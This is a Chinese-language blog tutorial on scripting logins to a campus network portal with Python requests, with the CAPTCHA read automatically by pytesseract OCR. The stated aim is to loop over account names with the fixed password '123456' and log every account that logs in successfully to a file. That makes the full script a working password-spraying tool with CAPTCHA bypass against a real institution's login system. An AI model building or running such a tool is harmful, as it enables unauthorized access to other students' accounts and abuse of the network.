使用python+requests+pytesseract模拟登录校园网

之前就想做这件事,今天下午突然就想写一个关于模拟登录校园网的爬虫,通过python模拟浏览器登录,通过遍历账号可以…
在本次爬虫的过程中,也不算特别容易吧,废话不多说,使用到的模块有:

requests 发起网页请求
hashlib md5对密码进行加密
re正则提取网页信息
PIL+pytesseract 对验证码进行识别

以下试试本次爬虫的过程(以我们学校的校园网为例)以及回顾

一.实例步骤

1.查看模拟登录的网页的源码,并且手动登录查看分析包

起初通过网页登录的过程中,得到的未登录页面如下(google浏览器),注意右边我用黄色标记的内容,后面要用到.该页面url地址记为get_url

在这里插入图片描述
输入账号密码登录以后查看网页情况如下
在这里插入图片描述
可以看到右边的箭头所指内容大概为向网页post的信息。点进去找到如下内容,其中可以看到post提交的url地址,也可以看到request提交方式为post。该地址记为post_url
在这里插入图片描述
继续向下滑动,见下图,根据箭头所指向Form data需要找到我们向网页提交了哪些数据,

accout 为账号
password 为密码,显然被加密过了,根据我输入的密码和md5编码以后,发现该网页是经过md5加密过以后再提交给网页的
code 为验证码,因为没有输入,因此为空(实际模拟登录时候是需要的,后面会提到)
checkcode 看到该字段时,记得前面图上用黄色标记的内容,即提交那个内容
submit 反复测试发现该字段始终为"登 录"

在这里插入图片描述
这时候直接手动登录看起来似乎不需要验证码(重复输入几次错误也会出现验证码),但是当我后来用python模拟登录时,确怎么都无法登录,而我把验证码加上就可以了,可能和未登录页面的网页js源码有关(JS尚未学习),因此我就在这里直接看看验证码如何获得。
输入错误几次,可以看到验证码显示了出来,其实页面上本来也是有验证码的,只是通过代码给屏蔽掉了,根据检查分析可以找到验证码的包,很容易找到,不多说。见下图
在这里插入图片描述
点击该包,进去之后发现验证码的路径(红色线段内的内容),后面的randomNum=0…不要被他迷惑,实际上我们只要得到当前的cookies信息,直接对红线内容发出get请求,就能得到验证码图片。我可以按照下面的Request Headers 构造请求头,只要设置好cookies即可。
在这里插入图片描述
通过以上内容,网页的请求逻辑基本理清了,分为以下步骤

  1. 对get_url发出请求得到cookies, checkcode字段,以及验证码,该阶段的一个主要问题就是如何保持cookies不变(后面具体说明原因)。这里就需要使用request.session方法建立一个会话。
  2. 对得到的验证码进行识别,密码进行md5加密。
  3. 根据抓包发现的post需要提交的信息,把账号、密码、checkcode、验证码、submit 这些字段提交。
  4. 简单的判断账号密码是否匹配,我直接通过len方法判断长度。

下面开始使用python模拟登录。

2.(具体)使用request获得checkcode码 以及 验证码

如何判断最后提交表单数据时,checkcode 和验证码呢,就需要用到cookies。因此,再查询checkcode、获得验证码图片以及最后post数据时,需要保持cookies是不变的。建立会话,获得cookies,设置cookies代码如下。

s = requests.session()  # 建立会话,保持会话信息,cookies
r = s.get(get_url)  # get一次,得到cookies去获得验证码,同时需要获得checkcode
cookies = r.headers['Set-Cookie']   # 获取cookies
cookies = cookies.strip('; Path=/Self/; HttpOnly')  # 提取cookies

查看网页源代码,看到红线标记即为需要提取的checkcode。
在这里插入图片描述
编写一个正则表达式提取该内容。

pat = 'checkcode="[0-9]+"'  # 匹配得到验证码
checkcode = re.findall(pat, r.text)[0][11:-1]  #获得校验码

接着需要获得验证码,根据上面的验证码包文件构造请求头。

yzm_headers = {
    'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
    'Connection': 'keep-alive',
    'Cookie': cookies,
    'Host': '172.16.254.19:8080',
    'Referer': 'http://172.16.254.19:8080/Self/LoginAction.action',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
}  # 验证码请求头

这样就可以通过get获得验证码啦!!通过下面的代码把验证码写进文件yzm.png里。

yzm_response = s.get(yzm_url, headers=yzm_headers)
f = open('yzm.png', 'wb')
f.write(yzm_response.content)  # 将图片写入文件,方便下面识别
f.close()

3.对验证码进行识别

先构造一下form_data(需要提交的数据),密码字段直接调用hashlib中的md5函数进行md5加密(即把一个字符串变成32位字符串的一种映射关系)。

        account = i  # 账号
        password = hashlib.md5('123456'.encode("utf8")).hexdigest()     # 密码
        form_data = {
            'account': account,
            'password': password,
            'code': '',
            'checkcode': checkcode,
            'Submit': '登 录',
        }  # 模拟登录提交的表单

到目前为止,我已经获得了验证码图片,这时候需要对该图片进行识别。先给出识别的代码。

yzm_num = pytesseract.image_to_string(Image.open(r'C:\Users\wq\Desktop\新建文件夹\python\yzm.png'))
form_data['code'] = yzm_num   # 提交表单中的验证码

安装pytesseract 的时候,参考这篇博客(https://blog.csdn.net/showgea/article/details/82656515) 写的很详细。
这样,post提交所需要的form表单就构造完毕了。通过下面的代码提交。

p_response = s.post(post_url, data=form_data)   # 提交

4. 模拟登录,根据返回的网页判断账号密码是否匹配

为了判断账号密码是否匹配成功,直接判断返回页面内容的长度(正确登录时候页面差不多9000,错误时6000,或者用其他方法更快),如果正确,把账号记录下来,代码如下(具体路径需要适当调整).

 if len(p_response.text) > 6500:     #该账号密码匹配成功
     with open('data.txt', 'a') as write_file:   #将账号写入文件
         write_file.write(i+'\n')

二.总结

1. 网页network包分析

2. 使用request.session 保存cookies

3. pytesseract模块的安装和使用

记录一下主要步骤

  1. 下载安装
    https://digi.bib.uni-mannheim.de/tesseract/ ,我选择了tesseract-ocr-setup-3.05.02-20180621.exe这个版本
  2. pip install pytesseract
  3. 配置环境
    在这里插入图片描述
  4. 修改一个文件(必须)
    pytesseract安装后,在python的Lib目录下site-packges下会生成一个pytesseract文件夹,文件夹中找到pytesseract.py,路径为:C:\Users\wq\AppData\Local\Programs\Python\Python36\Lib\site-packages\pytesseract,找到如下两行:

#CHANGE THIS IF TESSERACT IS NOT IN YOUR PATH, OR IS NAMED DIFFERENTLY
tesseract_cmd = ‘tesseract’

将tesseract_cmd = 'tesseract’修改为:tesseract_cmd = ‘C:/Program Files (x86)/Tesseract-OCR/tesseract.exe’

表示tesseract_cmd配置的是你安装tesseract的绝对路径,这样就能找到tesseract了。修改后保存,再去运行python代码,就可以成功了。

参考代码如下(账号和验证码图片路径根据具体情况修改)

import requests
import hashlib
import re
from PIL import Image
import pytesseract

get_url = '*********************'  # 登录页面
post_url = '****************************'  # post提交到的页面
yzm_url = '********************************'  # 验证码的页面

	
i = 'username'
s = requests.session()  # 建立会话,保持会话信息,cookies
r = s.get(get_url)  # get一次,得到cookies去获得验证码,同时需要获得checkcode
cookies = r.headers['Set-Cookie']   # 获取cookies

pat = 'checkcode="[0-9]+"'  # 匹配得到验证码
checkcode = re.findall(pat, r.text)[0][11:-1]  #获得校验码
cookies = cookies.strip('; Path=/Self/; HttpOnly')  # 提取cookies

yzm_headers = {
	'Accept': 'image/webp,image/apng,image/*,*/*;q=0.8',
	'Accept-Encoding': 'gzip, deflate',
	'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
	'Connection': 'keep-alive',
	'Cookie': cookies,
	'Host': '********************************',
	'Referer': '*************************************',
	'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
}  # 验证码请求头

yzm_response = s.get(yzm_url, headers=yzm_headers)
f = open('yzm.png', 'wb')
f.write(yzm_response.content)  # 将图片写入文件,方便下面识别
f.close()

account = i  # 账号
password = hashlib.md5('123456'.encode("utf8")).hexdigest()     # 密码
form_data = {
	'account': account,
	'password': password,
	'code': '',
	'checkcode': checkcode,
	'Submit': '登 录',
}  # 模拟登录提交的表单

#调用函数识别验证码
yzm_num = pytesseract.image_to_string(Image.open(r'**********************\yzm.png'))
form_data['code'] = yzm_num   # 提交表单中的验证码
p_response = s.post(post_url, data=form_data)   # 提交
if len(p_response.text) > 6500:     #该账号密码匹配成功
	with open('data.txt', 'a') as write_file:   #将账号写入文件
		write_file.write(i+'\n')
  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值